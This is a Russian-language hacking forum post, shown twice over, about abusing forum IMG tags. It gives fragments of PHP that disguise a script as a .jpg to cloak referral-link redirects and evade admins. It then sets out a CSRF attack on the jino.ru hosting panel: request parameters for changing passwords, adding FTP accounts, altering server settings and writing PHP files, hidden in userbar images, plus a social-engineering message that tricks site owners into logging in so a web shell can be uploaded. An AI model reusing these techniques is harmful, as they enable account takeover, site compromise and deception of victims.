M_script
25.04.2011, 07:22
Реф.ссылки в картинках + клоакинг | CSRF через IMG на примере хостинга jino.ru
==============================
Реф.ссылки в картинках + клоакинг
В прошлом месяце я ради интереса реализовал ротацию изображений через бб-код IMG. Пример:
http://*****/img_test/rotation/test.jpg
При каждом обновлении страницы изображение меняется.
Сегодня увидел этот пост:
/showpost.php?p=2650247&postcount=1818 (https://antichat.live/showpost.php/p/2650247/postcount/1818/)
Он натолкнул на интересную мысль. Совместил его способ со своей ротацией изображений, немного доработал и вот что получилось:
test.jpg
=count($def_images))
$type=0;
header("Content-type: image/jpeg");
$im=imagecreatefromjpeg($def_images[$type]);
imagejpeg($im);
imagedestroy($im);
die();
}
$result=mysql_query("SELECT * FROM `links` WHERE `ip` =$ip");
if(mysql_num_rows($result))
{
$row=mysql_fetch_assoc($result);
$link_num= (int)$row['link_num'];
if($link_num
При каждом обновлении страницы сайта с этой "картинкой" (с одного IP-адреса), поочереди происходит переход по ссылкам из массива all_links. Вместо ссылок можно также указывать путь к jpeg-файлам.
Переход по ссылкам осуществляется только если "картинка" загружается со страниц, в адресе которых содержится текст из массива allowed_referers, в других случаях отображается файл 'images/default.jpg'
Если repeat включен, ссылки после окончания списка будут прокручиваться заново. Если repeat выключен, после окончания списка будет отображаться файл 'images/default.jpg'.
Чтобы было меньше проблем, используется клоакинг - блэк-лист IP-адресов с возможностью разделения по группам и выдачи отдельной картинки на каждую группу.
Для того, чтобы добавить админа в блэк, достаточно отправить ему в личку сообщение с картинкой, приведенной ниже:
adm.jpg
Дополнения:
.htaccess
AddType application/x-httpd-php.jpg
db.php
таблицы
CREATE TABLEIFNOT EXISTS`links` (
`id`int(4)NOT NULL auto_increment,
`ip`int(4)NOT NULL,
`link_num`int(4)NOT NULL,
PRIMARY KEY(`id`)
);
CREATE TABLEIFNOT EXISTS`black` (
`id`int(4)NOT NULL auto_increment,
`ip`int(4)NOT NULL,
`type`int(4)NOT NULL,
PRIMARY KEY(`id`)
);
Ниже вставлена "картинка", код которой написан в теме.
Первые 3 обновления страницы - переход по ссылкам, потом появится изображение:
http://*****/img_test/rotation2/test.jpg
Чтобы увидеть, что отображается у людей из блэк-листа, нужно перейти по ссылке (http://*****/img_test/rotation2/adm.jpg) и обновить эту страницу.
=====================================
CSRF через IMG на примере хостинга jino.ru
Продолжу тему редиректов в картинках. Кроме реф.ссылок их можно использовать для проведения CSRF-атак.
Для примера возьмем известный хостинг jino.ru. Несмотря на популярность этого хостинга, опасных CSRF-уязвимостей на нем много.
Панель управления хостинга находится на портах 8080(http) и 8443(https) всех сайтов, прикрепленных к аккаунту. На всех аккаунтах по-умолчанию есть домен login.jino.ru.
В примерах запросов буду писать только список параметров и значений. Все запросы нормально работают с методами GET и POST (не забывайте про URL Encode)
Изменение пароля
area=services_chpassword
do=services_chpassword
oldhint=
password=newpass
password2=newpass
Добавление FTP-аккаунта (при создании аккаунта к FTP-логину добавляется префикс "login_")
area=management_ftpaccounts
do=management_ftpaccountadd
ftp_login=ftplogin
dir=/
password=pass
password2=pass
Изменение пароля FTP-аккаунта
area=management_ftpaccountedit
do=management_ftpaccountchpass
login=ftplogin
old_login=ftplogin
dir=/
password=newpass
password2=newpass
Изменение настроек веб-сервера (в запросе настройки с префиксом "default_" - обязательные, с префиксом "d_" - редактируемые)
area=management_htsettings
do=management_htaccesssave
default_AddDefaultCharset=cp1251
default_allow_call_time_pass_reference=1
default_display_errors=1
default_magic_quotes_gpc=0
default_magic_quotes_runtime=0
default_open_basedir=1
default_output_buffering=1
default_post_max_size=15M
default_register_globals=0
default_upload_max_filesize=8M
d_AddDefaultCharset=cp1251
d_allow_call_time_pass_reference=1
d_display_errors=1
d_magic_quotes_gpc=0
d_magic_quotes_runtime=0
d_open_basedir=1
d_output_buffering=1
d_post_max_size=15M
d_register_globals=0
d_upload_max_filesize=8M
На любой сайт, прикрепленный к аккаунту, можно загрузить любой текстовый файл за два запроса.
Создание файла
area=filemanager_main
do=filemanager_createfile
path=/domains/testsite.ru
filename=test.php
Изменение файла
do=filemanager_savefile
area=filemanager_editor
path=/domains/testsite.ru/test.php
contents=
charset=UTF-8
linebreaks=UNIX
Так как все перечисленные запросы работают через GET, их можно спрятать в картинке и разместить на форуме (или отправить по электронной почте).
Электронная почта менее эффективна, потому что многие знают об опасности чтения писем, полученных от незнакомых адресов, и не открывают их. О том, что чтение ЛС на форуме может быть опасно, не знает почти никто.
Один из вариантов CSRF-атаки через IMG:
В подпись ставится юзербар (userbar.jpg). Вместо подписи можно отправить картинку в ЛС, но при ответе ссылка будет видна в цитировании и это вызовет подозрения.
Активная сессия сохраняется недолго, поэтому нужно заставить владельца сайта авторизоваться в панели управления. Тут потребуется немного СИ.
Пример сообщения в ЛС
Привет.
Я знаю, что ты тоже пользуешься хостингом на jino.
Сегодня заметил странный баг. Когда захожу в панель через сайт jino.ru, все нормально, а через mysite:8080 баланс отображается намного больше реального:
[нарисованный скрин]
Можешь проверить, у тебя так же или проблема в моем аккаунте? Попробуй зайти в панель через jino.ru, а потом через targetsite:8080При просмотре скрина (screen.jpg), CSRF в юзербаре активируется на IP-адрес владельца сайта.
После того, как будет получен ответ, подтверждающий авторизацию в панели управления, для заливки шелла достаточно отправить владельцу сайта еще два любых сообщения в ЛС.
Файлы:
.htaccess
AddType application/x-httpd-php.jpg
screen.jpg
userbar.jpg
CSRF+IMG на примере хостинга jino.ru (видео) (https://antichat.live/showthread.php/t/273036/)
.
==============================
Реф.ссылки в картинках + клоакинг
В прошлом месяце я ради интереса реализовал ротацию изображений через бб-код IMG. Пример:
http://*****/img_test/rotation/test.jpg
При каждом обновлении страницы изображение меняется.
Сегодня увидел этот пост:
/showpost.php?p=2650247&postcount=1818 (https://antichat.live/showpost.php/p/2650247/postcount/1818/)
Он натолкнул на интересную мысль. Совместил его способ со своей ротацией изображений, немного доработал и вот что получилось:
test.jpg
=count($def_images))
$type=0;
header("Content-type: image/jpeg");
$im=imagecreatefromjpeg($def_images[$type]);
imagejpeg($im);
imagedestroy($im);
die();
}
$result=mysql_query("SELECT * FROM `links` WHERE `ip` =$ip");
if(mysql_num_rows($result))
{
$row=mysql_fetch_assoc($result);
$link_num= (int)$row['link_num'];
if($link_num
При каждом обновлении страницы сайта с этой "картинкой" (с одного IP-адреса), поочереди происходит переход по ссылкам из массива all_links. Вместо ссылок можно также указывать путь к jpeg-файлам.
Переход по ссылкам осуществляется только если "картинка" загружается со страниц, в адресе которых содержится текст из массива allowed_referers, в других случаях отображается файл 'images/default.jpg'
Если repeat включен, ссылки после окончания списка будут прокручиваться заново. Если repeat выключен, после окончания списка будет отображаться файл 'images/default.jpg'.
Чтобы было меньше проблем, используется клоакинг - блэк-лист IP-адресов с возможностью разделения по группам и выдачи отдельной картинки на каждую группу.
Для того, чтобы добавить админа в блэк, достаточно отправить ему в личку сообщение с картинкой, приведенной ниже:
adm.jpg
Дополнения:
.htaccess
AddType application/x-httpd-php.jpg
db.php
таблицы
CREATE TABLEIFNOT EXISTS`links` (
`id`int(4)NOT NULL auto_increment,
`ip`int(4)NOT NULL,
`link_num`int(4)NOT NULL,
PRIMARY KEY(`id`)
);
CREATE TABLEIFNOT EXISTS`black` (
`id`int(4)NOT NULL auto_increment,
`ip`int(4)NOT NULL,
`type`int(4)NOT NULL,
PRIMARY KEY(`id`)
);
Ниже вставлена "картинка", код которой написан в теме.
Первые 3 обновления страницы - переход по ссылкам, потом появится изображение:
http://*****/img_test/rotation2/test.jpg
Чтобы увидеть, что отображается у людей из блэк-листа, нужно перейти по ссылке (http://*****/img_test/rotation2/adm.jpg) и обновить эту страницу.
=====================================
CSRF через IMG на примере хостинга jino.ru
Продолжу тему редиректов в картинках. Кроме реф.ссылок их можно использовать для проведения CSRF-атак.
Для примера возьмем известный хостинг jino.ru. Несмотря на популярность этого хостинга, опасных CSRF-уязвимостей на нем много.
Панель управления хостинга находится на портах 8080(http) и 8443(https) всех сайтов, прикрепленных к аккаунту. На всех аккаунтах по-умолчанию есть домен login.jino.ru.
В примерах запросов буду писать только список параметров и значений. Все запросы нормально работают с методами GET и POST (не забывайте про URL Encode)
Изменение пароля
area=services_chpassword
do=services_chpassword
oldhint=
password=newpass
password2=newpass
Добавление FTP-аккаунта (при создании аккаунта к FTP-логину добавляется префикс "login_")
area=management_ftpaccounts
do=management_ftpaccountadd
ftp_login=ftplogin
dir=/
password=pass
password2=pass
Изменение пароля FTP-аккаунта
area=management_ftpaccountedit
do=management_ftpaccountchpass
login=ftplogin
old_login=ftplogin
dir=/
password=newpass
password2=newpass
Изменение настроек веб-сервера (в запросе настройки с префиксом "default_" - обязательные, с префиксом "d_" - редактируемые)
area=management_htsettings
do=management_htaccesssave
default_AddDefaultCharset=cp1251
default_allow_call_time_pass_reference=1
default_display_errors=1
default_magic_quotes_gpc=0
default_magic_quotes_runtime=0
default_open_basedir=1
default_output_buffering=1
default_post_max_size=15M
default_register_globals=0
default_upload_max_filesize=8M
d_AddDefaultCharset=cp1251
d_allow_call_time_pass_reference=1
d_display_errors=1
d_magic_quotes_gpc=0
d_magic_quotes_runtime=0
d_open_basedir=1
d_output_buffering=1
d_post_max_size=15M
d_register_globals=0
d_upload_max_filesize=8M
На любой сайт, прикрепленный к аккаунту, можно загрузить любой текстовый файл за два запроса.
Создание файла
area=filemanager_main
do=filemanager_createfile
path=/domains/testsite.ru
filename=test.php
Изменение файла
do=filemanager_savefile
area=filemanager_editor
path=/domains/testsite.ru/test.php
contents=
charset=UTF-8
linebreaks=UNIX
Так как все перечисленные запросы работают через GET, их можно спрятать в картинке и разместить на форуме (или отправить по электронной почте).
Электронная почта менее эффективна, потому что многие знают об опасности чтения писем, полученных от незнакомых адресов, и не открывают их. О том, что чтение ЛС на форуме может быть опасно, не знает почти никто.
Один из вариантов CSRF-атаки через IMG:
В подпись ставится юзербар (userbar.jpg). Вместо подписи можно отправить картинку в ЛС, но при ответе ссылка будет видна в цитировании и это вызовет подозрения.
Активная сессия сохраняется недолго, поэтому нужно заставить владельца сайта авторизоваться в панели управления. Тут потребуется немного СИ.
Пример сообщения в ЛС
Привет.
Я знаю, что ты тоже пользуешься хостингом на jino.
Сегодня заметил странный баг. Когда захожу в панель через сайт jino.ru, все нормально, а через mysite:8080 баланс отображается намного больше реального:
[нарисованный скрин]
Можешь проверить, у тебя так же или проблема в моем аккаунте? Попробуй зайти в панель через jino.ru, а потом через targetsite:8080При просмотре скрина (screen.jpg), CSRF в юзербаре активируется на IP-адрес владельца сайта.
После того, как будет получен ответ, подтверждающий авторизацию в панели управления, для заливки шелла достаточно отправить владельцу сайта еще два любых сообщения в ЛС.
Файлы:
.htaccess
AddType application/x-httpd-php.jpg
screen.jpg
userbar.jpg
CSRF+IMG на примере хостинга jino.ru (видео) (https://antichat.live/showthread.php/t/273036/)
.